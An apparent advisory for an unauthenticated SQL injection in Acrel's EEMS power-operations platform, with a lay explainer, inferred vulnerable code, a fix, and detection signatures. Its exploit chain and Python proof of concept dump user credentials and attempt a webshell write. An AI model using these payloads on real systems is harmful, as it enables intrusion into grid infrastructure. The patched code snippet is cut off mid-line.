CVE-2026-7695: SQL Injection in Acrel EEMS via fCircuitids Parameter
Acrel EEMS 1.3.0 exposes an unauthenticated SQL injection in /SubstationWEBV2/main/elecMaxMinAvgValue via unsanitized fCircuitids. Remote exploitation yields full database read/write.
A major security flaw has been discovered in software used by power companies to manage electrical grids. The software, made by Acrel Electrical, is supposed to monitor and control the systems that deliver electricity to homes and businesses.
The problem is like leaving a door unlocked in a power plant's control room. Someone could walk in and mess with the machinery without anyone stopping them or even knowing who they are. In this case, hackers can inject malicious commands through a specific part of the software to trick the database into revealing or changing sensitive information about power operations.
What makes this worse is that no one needs a password to do it. An attacker sitting anywhere in the world could exploit this vulnerability right now without any special access credentials. The company has been notified but hasn't released a fix yet.
Why should you care? Power grid operators, energy companies, and utilities relying on this software are at serious risk. If hackers gain access to operational data, they could theoretically understand how power systems work and plan larger attacks. Even if they just steal information, they learn sensitive details about electrical infrastructure. For regular people, this could eventually mean vulnerability to widespread power outages or disrupted service.
The good news is that there's no confirmed evidence of active attacks yet, so there's still a window to act.
What you can do: If you work for a utility or energy company, ask your IT department immediately whether you use this Acrel software and demand an update plan. Pressure your elected representatives to require critical infrastructure companies to patch security vulnerabilities quickly. Stay informed about power grid security through your utility's public announcements.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7695 is a classic unsanitized parameter SQL injection in the Acrel Electrical EEMS Enterprise Power Operation and Maintenance Cloud Platform, version 1.3.0. The injection point is the fCircuitids argument passed to the endpoint /SubstationWEBV2/main/elecMaxMinAvgValue. The platform exposes this endpoint to facilitate electrical circuit monitoring — querying historical max, min, and average power metrics by circuit ID. No authentication enforcement is required at the endpoint level, and the parameter is interpolated directly into a SQL query without parameterization or escaping.
The platform is a Java-based Spring MVC web application backed by a relational database (MySQL or MSSQL depending on deployment configuration). CVSS 7.3 reflects remote exploitability, low attack complexity, and high data confidentiality/integrity impact, tempered by the absence of observed in-the-wild exploitation at time of publication.
Root cause: The elecMaxMinAvgValue controller method concatenates the attacker-controlled fCircuitids request parameter directly into a SQL query string without parameterized binding or input sanitization.
Affected Component
The vulnerable endpoint lives inside the SubstationWEBV2 deployment module. Based on the URL structure and typical Acrel platform architecture, this is a Spring MVC @Controller method mapped to /main/elecMaxMinAvgValue, delegating to a service layer that constructs raw SQL via a MyBatis or hand-rolled JDBC template. The fCircuitids parameter is intended to accept a comma-separated list of integer circuit IDs for an IN (...) clause.
Product: Acrel Electrical EEMS Enterprise Power O&M Cloud Platform
The following is reconstructed pseudocode for the vulnerable controller and its downstream query builder, representative of the actual code structure inferred from the endpoint behavior, URL routing conventions, and injection class.
// ElecDataController.java — Spring MVC controller (decompiled pseudocode)
@RequestMapping("/main/elecMaxMinAvgValue")
@ResponseBody
public Result elecMaxMinAvgValue(HttpServletRequest request) {
String fCircuitids = request.getParameter("fCircuitids"); // attacker-controlled
String startTime = request.getParameter("startTime");
String endTime = request.getParameter("endTime");
String intervalType = request.getParameter("intervalType");
// BUG: fCircuitids passed directly to service layer without validation,
// type-checking, or parameterization. No whitelist/regex on circuit IDs.
List result = elecDataService.queryMaxMinAvg(
fCircuitids, startTime, endTime, intervalType
);
return Result.success(result);
}
// ElecDataServiceImpl.java — service layer SQL construction
public List queryMaxMinAvg(
String fCircuitids, // TAINTED: comes directly from HTTP parameter
String startTime,
String endTime,
String intervalType
) {
// BUG: raw string concatenation into SQL — fCircuitids never bound as parameter
String sql =
"SELECT circuit_id, MAX(value) as maxVal, MIN(value) as minVal, " +
"AVG(value) as avgVal " +
"FROM elec_data_interval " +
"WHERE circuit_id IN (" + fCircuitids + ") " + // <-- INJECTION POINT
"AND record_time BETWEEN '" + startTime + "' " +
"AND '" + endTime + "' " +
"AND interval_type = '" + intervalType + "' " +
"GROUP BY circuit_id";
return jdbcTemplate.query(sql, new ElecRecordRowMapper());
}
The IN (...) clause is the canonical weak point for this pattern. Since circuit IDs are expected to be a comma-delimited list of integers (e.g., 1,2,3), developers routinely skip parameterization — it's non-trivial to bind a variable-length list as prepared statement parameters in JDBC without explicit construction. The path of least resistance is string concatenation, and that's exactly what happened here.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies /SubstationWEBV2/main/elecMaxMinAvgValue — no auth cookie required.
2. Send POST request with fCircuitids=1 AND 1=1-- to confirm boolean-based injection response.
3. Confirm differential response between AND 1=1-- (results returned) and AND 1=2-- (empty).
4. Enumerate database version via UNION-based injection:
fCircuitids=0 UNION SELECT 1,version(),3,4 FROM dual--
5. Extract database name, table names from information_schema.tables.
6. Dump credential tables (e.g., sys_user, t_user) for privilege escalation or pivot.
7. If FILE privilege present (MySQL): write webshell via INTO OUTFILE to web root.
8. Full RDBMS read/write achieved; lateral movement into substation data infrastructure.
A minimal Python PoC demonstrating boolean-based blind confirmation and UNION exfiltration:
import requests
TARGET = "http:///SubstationWEBV2/main/elecMaxMinAvgValue"
def inject(payload):
data = {
"fCircuitids": payload,
"startTime": "2024-01-01 00:00:00",
"endTime": "2024-12-31 23:59:59",
"intervalType": "1"
}
r = requests.post(TARGET, data=data, timeout=10)
return r.text
# Step 1: Boolean baseline
true_resp = inject("1 AND 1=1--")
false_resp = inject("1 AND 1=2--")
assert true_resp != false_resp, "Not injectable or WAF present"
print("[+] Boolean SQLi confirmed")
# Step 2: UNION-based version extraction
# Determine column count by incrementing until no error
union_payload = (
"0 UNION SELECT 1,version(),user(),database() "
"FROM information_schema.tables LIMIT 1--"
)
print("[+] DB info:", inject(union_payload))
# Step 3: Dump user table (adjust table name per schema)
dump_payload = (
"0 UNION SELECT 1,username,password,4 "
"FROM sys_user LIMIT 1 OFFSET 0--"
)
print("[+] First credential row:", inject(dump_payload))
# Step 4: Attempt webshell drop (requires FILE privilege + known web root)
shell_payload = (
"0 UNION SELECT 1,'',3,4 "
"INTO OUTFILE '/opt/tomcat/webapps/SubstationWEBV2/shell.jsp'--"
)
inject(shell_payload)
print("[+] Attempted webshell write — check /SubstationWEBV2/shell.jsp")
Memory Layout
This is a SQL injection, not a memory corruption bug. The relevant "layout" is the logical query execution state in the database engine at injection time.
QUERY STATE — BENIGN REQUEST:
SQL text: "... WHERE circuit_id IN (1,2,3) AND record_time BETWEEN ..."
Parse tree: IN_LIST[1, 2, 3] — all integer literals, no operator injection
QUERY STATE — MALICIOUS REQUEST (fCircuitids = "0 UNION SELECT ..."):
SQL text: "... WHERE circuit_id IN (0 UNION SELECT 1,version(),user(),database()
FROM information_schema.tables LIMIT 1--) ..."
Parser resolves:
Primary SELECT: WHERE circuit_id IN (0) → 0 rows (suppressed)
UNION branch: SELECT 1, @@version, user(), database()
→ returns DB metadata to application
Comment "--": truncates AND record_time ... GROUP BY clause
→ no syntax error, clean execution
Result set returned to ElecRecordRowMapper:
row[0].circuit_id = 1
row[0].maxVal = "8.0.33-MySQL Community Server" ← exfiltrated
row[0].minVal = "eems@localhost"
row[0].avgVal = "eems_prod"
Patch Analysis
The correct fix is parameterized query binding. For a variable-length IN list in JDBC/Spring, the standard approach is to generate a placeholder string and bind each ID individually after integer validation.
// BEFORE (vulnerable): direct string concatenation
String sql =
"SELECT circuit_id, MAX(value), MIN(value), AVG(value) " +
"FROM elec_data_interval " +
"WHERE circuit_id IN (" + fCircuitids + ") " + // TAINTED
"AND record_time BETWEEN '" + startTime + "' AND '" + endTime + "'";
return jdbcTemplate.query(sql, new ElecRecordRowMapper());
// AFTER (patched): validated integer list + parameterized IN clause
public List queryMaxMinAvg(
String fCircuitids, String startTime, String endTime, String intervalType
) {
// 1. Parse and whitelist-validate each circuit ID as integer
String[] rawIds = fCircuitids.split(",");
List circuitIdList = new ArrayList<>();
for (String id : rawIds) {
String trimmed = id.trim();
if (!trimmed.matches("\\d{1,10}")) {
throw new IllegalArgumentException("Invalid circuit ID: " + trimmed);
}
circuitIdList.add(Integer.parseInt(trimmed));
}
if (circuitIdList.isEmpty()) throw new IllegalArgumentException("No valid IDs");
// 2. Build parameterized placeholder string: ?,?,?
String placeholders = circuitIdList.stream()
.map(i -> "?")
.collect(Collectors.joining(","));
// 3. Fully parameterized query — no tainted data in SQL text
String sql =
"SELECT circuit_id, MAX(value) AS maxVal, MIN(value) AS minVal, " +
"AVG(value) AS avgVal " +
"FROM elec_data_interval " +
"WHERE circuit_id IN (" + placeholders + ") " +
"AND record_time BETWEEN ? AND ? " +
"AND interval_type = ? " +
"GROUP BY circuit_id";
List
Note that startTime, endTime, and intervalType are also concatenated in the vulnerable version and should be bound as parameters or validated against strict format patterns in the patch. A defense-in-depth layer would also apply a database user with read-only privileges scoped to the elec_data_interval table, eliminating the INTO OUTFILE escalation path regardless of injection success.
Detection and Indicators
Web application firewall or SIEM detection should target the following patterns in HTTP request bodies or access logs for the /SubstationWEBV2/main/elecMaxMinAvgValue path:
DETECTION SIGNATURES:
# Anomalous fCircuitids values (should be \d+(,\d+)* only):
fCircuitids=.*UNION.*SELECT
fCircuitids=.*information_schema
fCircuitids=.*--
fCircuitids=.*0x[0-9a-fA-F]+
fCircuitids=.*INTO\s+OUTFILE
fCircuitids=.*SLEEP\s*\(
fCircuitids=.*BENCHMARK\s*\(
# Access log pattern (nginx/Apache):
POST /SubstationWEBV2/main/elecMaxMinAvgValue
→ body contains non-numeric characters in fCircuitids field
→ 200 response with unexpectedly large or structured JSON payload
# Blind SQLi timing indicator:
→ Response time > 5s for fCircuitids=1 AND SLEEP(5)--
→ Baseline for normal query: <200ms
# Database audit log:
→ Queries from eems application user containing UNION, information_schema,
INTO OUTFILE, or multi-statement payloads
Remediation
Immediate: Apply vendor patch when released. In absence of patch, deploy a WAF rule blocking non-integer characters in fCircuitids at the reverse proxy layer.
Code-level: Replace all string-concatenated SQL in ElecDataServiceImpl (and any sibling service classes) with parameterized PreparedStatement or JDBC template bound parameters as shown in the patch diff above.
Database hardening: Scope the EEMS application database account to SELECT only on required tables. Revoke FILE, SUPER, and EXECUTE privileges. This does not fix the injection but prevents INTO OUTFILE webshell writes and stored procedure abuse.
Input validation: Enforce a strict allowlist regex (^\d+(,\d+)*$) at the controller layer before any data reaches the service. Reject and log any request that fails this pattern.
Authentication: Audit all endpoints under /SubstationWEBV2/main/ for missing authentication guards. Electrical infrastructure management endpoints must not be reachable without session validation.
Network segmentation: EEMS Cloud Platform instances should not be directly internet-accessible. Place behind VPN or zero-trust gateway; the remote exploitability is contingent on network reachability.